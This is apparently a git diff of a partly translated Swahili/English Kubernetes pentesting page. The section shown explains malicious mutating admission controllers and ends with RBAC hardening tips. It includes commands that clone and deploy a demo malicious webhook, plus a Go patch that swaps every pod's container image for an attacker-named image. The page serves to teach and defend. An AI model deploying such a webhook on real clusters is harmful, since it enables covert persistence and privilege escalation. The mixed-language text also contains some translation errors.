@@ -552,11 +615,11 @@ More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security
|
||||
|
||||
### Malicious Admission Controller
|
||||
|
||||
Msimamizi wa kuingia **anakatisha maombi kwa seva ya API ya Kubernetes** kabla ya kudumu kwa kitu, lakini **baada ya ombi kuthibitishwa** **na kuidhinishwa**.
|
||||
An admission controller **intercepts requests to the Kubernetes API server** before the persistence of the object, but **after the request is authenticated** **and authorized**.
|
||||
|
||||
Ikiwa mshambuliaji kwa namna fulani anafanikiwa **kuingiza Msimamizi wa Kuingia wa Mabadiliko**, ataweza **kubadilisha maombi ambayo tayari yameidhinishwa**. Kuwa na uwezo wa kuweza privesc, na kwa kawaida kudumu katika klasta.
|
||||
If an attacker somehow manages to **inject a Mutationg Admission Controller**, he will be able to **modify already authenticated requests**. Being able to potentially privesc, and more usually persist in the cluster.
|
||||
|
||||
**Mfano kutoka** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
**Example from** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
```bash
|
||||
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
|
||||
cd malicious-admission-controller-webhook-demo
|
||||
@@ -582,11 +645,11 @@ kubectl describe po nginx | grep "Image: "
|
||||
```
|
||||

|
||||
|
||||
Kama unavyoona kwenye picha hapo juu, tulijaribu kuendesha picha `nginx` lakini picha iliyotekelezwa mwishowe ni `rewanthtammana/malicious-image`. Nini kimetokea!!?
|
||||
Kama unavyoona katika picha hapo juu, tulijaribu kuendesha picha `nginx` lakini picha iliyotekelezwa mwishowe ni `rewanthtammana/malicious-image`. Nini kimetokea!!?
|
||||
|
||||
#### Technicalities <a href="#heading-technicalities" id="heading-technicalities"></a>
|
||||
|
||||
Scripti `./deploy.sh` inaanzisha mutating webhook admission controller, ambayo inabadilisha maombi kwa API ya Kubernetes kama ilivyoainishwa katika mistari yake ya usanidi, ikishawishi matokeo yanayoonekana:
|
||||
Script ya `./deploy.sh` inaanzisha mutating webhook admission controller, ambayo inabadilisha maombi kwa API ya Kubernetes kama ilivyoainishwa katika mistari yake ya usanidi, ikishawishi matokeo yanayoonekana:
|
||||
```
|
||||
patches = append(patches, patchOperation{
|
||||
Op: "replace",
|
||||
@@ -594,7 +657,7 @@ Path: "/spec/containers/0/image",
|
||||
Value: "rewanthtammana/malicious-image",
|
||||
})
|
||||
```
|
||||
Snippet iliyo hapo juu inabadilisha picha ya kwanza ya kontena katika kila pod na `rewanthtammana/malicious-image`.
|
||||
Snipet iliyo hapo juu inabadilisha picha ya kwanza ya kontena katika kila pod na `rewanthtammana/malicious-image`.
|
||||
|
||||
## OPA Gatekeeper bypass
|
||||
|
||||
@@ -611,11 +674,11 @@ Snippet iliyo hapo juu inabadilisha picha ya kwanza ya kontena katika kila pod n
|
||||
|
||||
### **Kuteua Watumiaji kwa Uangalifu katika RoleBindings/ClusterRoleBindings**
|
||||
|
||||
- **Injini ya Uchaguzi**: Hakikisha kuwa watumiaji muhimu pekee wanajumuishwa katika RoleBindings au ClusterRoleBindings. Kagua mara kwa mara na uondoe watumiaji wasiohusika ili kudumisha usalama mkali.
|
||||
- **Injilisha Chaguo**: Hakikisha kuwa watumiaji muhimu pekee wanajumuishwa katika RoleBindings au ClusterRoleBindings. Kagua mara kwa mara na uondoe watumiaji wasiohusika ili kudumisha usalama mkali.
|
||||
|
||||
### **Majukumu Maalum ya Namespace Badala ya Majukumu ya Kiwango cha Klasta**
|
||||
### **Majukumu Maalum ya Namespace Juu ya Majukumu ya Cluster-Wide**
|
||||
|
||||
- **Majukumu vs. ClusterRoles**: Prefer kutumia Majukumu na RoleBindings kwa ruhusa maalum za namespace badala ya ClusterRoles na ClusterRoleBindings, ambazo zinatumika kwa kiwango cha klasta. Njia hii inatoa udhibiti wa kina na inapunguza wigo wa ruhusa.
|
||||
- **Majukumu vs. ClusterRoles**: Prefer kutumia Majukumu na RoleBindings kwa ruhusa maalum za namespace badala ya ClusterRoles na ClusterRoleBindings, ambazo zinatumika kwa kiwango cha cluster. Njia hii inatoa udhibiti wa kina na inapunguza wigo wa ruhusa.
|
||||
|
||||
### **Tumia zana za kiotomatiki**
|
||||
|
||||
|
||||
Reference in New Issue
Block a user